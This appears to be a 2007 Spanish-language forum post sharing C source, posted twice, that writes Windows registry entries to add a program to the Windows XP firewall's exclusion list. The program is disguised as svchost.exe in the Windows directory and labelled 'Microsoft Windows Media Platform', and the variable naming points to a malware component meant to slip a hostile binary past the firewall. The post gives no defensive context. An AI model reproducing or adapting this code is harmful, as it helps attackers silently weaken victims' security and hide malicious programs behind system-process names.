libredecuba
03-Aug-2007, 22:28
Este código lo que hace es agregar tu programita a la lista de exclusiones del firewall del wndows xp.
Código:
#include <stdio.h>
#include <stdlib.h>
char destino[255];
char bicho2[30] = "\\svchost.exe";
char fwxp[255];
char windows[255];
int enganchar(HKEY Clave, char *ruta,char *subclave,char *valor,DWORD tipo_valor);
int main(int argc, char *argv[])
{
GetWindowsDirectory(windows,20);
strcpy(destino,strcat(windows,bicho2));
strcpy(fwxp,strcat(destino,":*:Enabled:Microsoft Windows Media Platform"));
enganchar(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",destino,fwxp,REG_SZ);
enganchar(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\AuthorizedApplications\\List",destino,fwxp,REG_SZ);
system("PAUSE");
return 0;
}
int enganchar(HKEY Clave, char *ruta,char *subclave,char *valor,DWORD tipo_valor)
{
HKEY key;
DWORD tam, Disposition;
tam = lstrlen(valor);
if(RegCreateKeyEx(Clave, ruta,0,"",REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL, &key, &Disposition)==ERROR_SUCCESS)
{
if(RegSetValueEx(key, subclave, 0, tipo_valor, (LPBYTE)valor, tam)==ERROR_SUCCESS)
{
RegCloseKey(key);
return 1;
}else{
return 0;
}
} else {
return 0;
}
}
Código:
#include <stdio.h>
#include <stdlib.h>
char destino[255];
char bicho2[30] = "\\svchost.exe";
char fwxp[255];
char windows[255];
int enganchar(HKEY Clave, char *ruta,char *subclave,char *valor,DWORD tipo_valor);
int main(int argc, char *argv[])
{
GetWindowsDirectory(windows,20);
strcpy(destino,strcat(windows,bicho2));
strcpy(fwxp,strcat(destino,":*:Enabled:Microsoft Windows Media Platform"));
enganchar(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",destino,fwxp,REG_SZ);
enganchar(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\AuthorizedApplications\\List",destino,fwxp,REG_SZ);
system("PAUSE");
return 0;
}
int enganchar(HKEY Clave, char *ruta,char *subclave,char *valor,DWORD tipo_valor)
{
HKEY key;
DWORD tam, Disposition;
tam = lstrlen(valor);
if(RegCreateKeyEx(Clave, ruta,0,"",REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS,NULL, &key, &Disposition)==ERROR_SUCCESS)
{
if(RegSetValueEx(key, subclave, 0, tipo_valor, (LPBYTE)valor, tam)==ERROR_SUCCESS)
{
RegCloseKey(key);
return 1;
}else{
return 0;
}
} else {
return 0;
}
}